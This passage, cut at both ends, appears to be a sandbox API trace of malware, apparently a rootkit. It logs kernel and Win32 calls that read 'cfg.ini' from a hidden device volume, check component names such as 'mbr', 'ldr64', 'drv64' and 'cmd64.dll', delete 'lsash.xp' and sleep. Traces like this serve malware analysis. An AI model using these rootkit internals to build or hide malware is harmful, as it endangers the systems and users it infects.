FastMutex=0xfffffa80027d3898) [0124.571] KeLeaveCriticalRegion () [0124.571] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.571] KeEnterCriticalRegion () [0124.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.571] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.571] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.571] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.571] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.571] IdePortDispatch () returned 0x103 [0124.571] KeWaitForMutexObject () returned 0x0 [0124.571] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.572] KeLeaveCriticalRegion () [0124.572] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.572] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.572] KeEnterCriticalRegion () [0124.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.572] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800357f000 [0124.572] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.572] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.572] IdePortDispatch () returned 0x103 [0124.572] KeWaitForMutexObject () returned 0x0 [0124.572] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.572] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.572] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.572] IdePortDispatch () returned 0x103 [0124.572] KeWaitForMutexObject () returned 0x0 [0124.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.572] KeLeaveCriticalRegion () [0124.572] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.573] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.573] KeEnterCriticalRegion () [0124.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.573] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.573] KeLeaveCriticalRegion () [0124.573] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.573] KeEnterCriticalRegion () [0124.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.573] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.573] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2850, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.573] KeLeaveCriticalRegion () [0124.573] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.573] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.573] KeEnterCriticalRegion () [0124.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.573] ExFreePoolWithTag (P=0xfffffa8003bf1850, Tag=0x0) [0124.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.573] KeLeaveCriticalRegion () [0124.573] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.573] ReleaseMutex (hMutex=0xf0) returned 1 [0124.573] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.573] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.573] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.573] KeEnterCriticalRegion () [0124.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.573] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.573] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.573] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.573] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.573] IdePortDispatch () returned 0x103 [0124.574] KeWaitForMutexObject () returned 0x0 [0124.574] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.574] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.574] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.574] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.574] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.574] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1eb0 [0124.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.574] KeLeaveCriticalRegion () [0124.574] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.574] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.574] KeEnterCriticalRegion () [0124.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.574] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.574] KeLeaveCriticalRegion () [0124.574] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.574] KeEnterCriticalRegion () [0124.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.574] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.574] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.574] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.574] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.574] IdePortDispatch () returned 0x103 [0124.574] KeWaitForMutexObject () returned 0x0 [0124.574] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.574] KeLeaveCriticalRegion () [0124.574] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.575] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.575] KeEnterCriticalRegion () [0124.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.575] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003580000 [0124.575] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.575] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.575] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.575] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.575] IdePortDispatch () returned 0x103 [0124.575] KeWaitForMutexObject () returned 0x0 [0124.575] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.575] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.575] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.575] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.575] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.575] IdePortDispatch () returned 0x103 [0124.575] KeWaitForMutexObject () returned 0x0 [0124.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.575] KeLeaveCriticalRegion () [0124.575] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.576] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.576] KeEnterCriticalRegion () [0124.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.576] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.576] KeLeaveCriticalRegion () [0124.576] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.576] KeEnterCriticalRegion () [0124.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.576] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.576] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.576] KeLeaveCriticalRegion () [0124.576] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.576] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.576] KeEnterCriticalRegion () [0124.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.576] ExFreePoolWithTag (P=0xfffffa8003bf1eb0, Tag=0x0) [0124.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.576] KeLeaveCriticalRegion () [0124.576] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.576] ReleaseMutex (hMutex=0xf0) returned 1 [0124.576] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.576] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.576] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.576] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.576] KeEnterCriticalRegion () [0124.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.576] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.576] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.576] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.576] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.576] IdePortDispatch () returned 0x103 [0124.577] KeWaitForMutexObject () returned 0x0 [0124.577] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.577] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.577] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.577] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.577] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.577] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.577] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.577] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.577] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.577] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.577] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.577] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.577] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.577] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.577] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.577] KeLeaveCriticalRegion () [0124.577] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.577] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.577] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.577] KeEnterCriticalRegion () [0124.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.577] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.577] IdePortDispatch () returned 0x103 [0124.577] KeWaitForMutexObject () returned 0x0 [0124.577] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.577] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.577] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.577] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.577] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.577] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.577] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.577] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.577] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.577] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.578] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.578] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.578] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.578] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.578] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.578] KeLeaveCriticalRegion () [0124.578] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.578] ReleaseMutex (hMutex=0x100) returned 1 [0124.578] Sleep (dwMilliseconds=0x2bf20) [0124.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d73bc90, dwHighDateTime=0x1d24fa4)) [0124.584] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.584] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.584] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.584] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.584] KeEnterCriticalRegion () [0124.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.584] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.584] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.584] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.584] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.584] IdePortDispatch () returned 0x103 [0124.584] KeWaitForMutexObject () returned 0x0 [0124.584] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.584] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.584] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.584] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.584] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.584] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf17f0 [0124.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.584] KeLeaveCriticalRegion () [0124.584] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.585] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.585] KeEnterCriticalRegion () [0124.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.585] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.585] KeLeaveCriticalRegion () [0124.585] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.585] KeEnterCriticalRegion () [0124.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.585] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.585] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.585] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.585] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.585] IdePortDispatch () returned 0x103 [0124.585] KeWaitForMutexObject () returned 0x0 [0124.585] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.585] KeLeaveCriticalRegion () [0124.585] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.585] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.585] KeEnterCriticalRegion () [0124.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.585] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003583000 [0124.585] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.585] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.585] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.585] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.585] IdePortDispatch () returned 0x103 [0124.586] KeWaitForMutexObject () returned 0x0 [0124.586] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.586] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.586] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.586] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.586] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.586] IdePortDispatch () returned 0x103 [0124.586] KeWaitForMutexObject () returned 0x0 [0124.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.586] KeLeaveCriticalRegion () [0124.586] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.586] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.586] KeEnterCriticalRegion () [0124.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.586] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.586] KeLeaveCriticalRegion () [0124.586] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.586] KeEnterCriticalRegion () [0124.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.586] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.587] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.587] KeLeaveCriticalRegion () [0124.587] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.587] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: 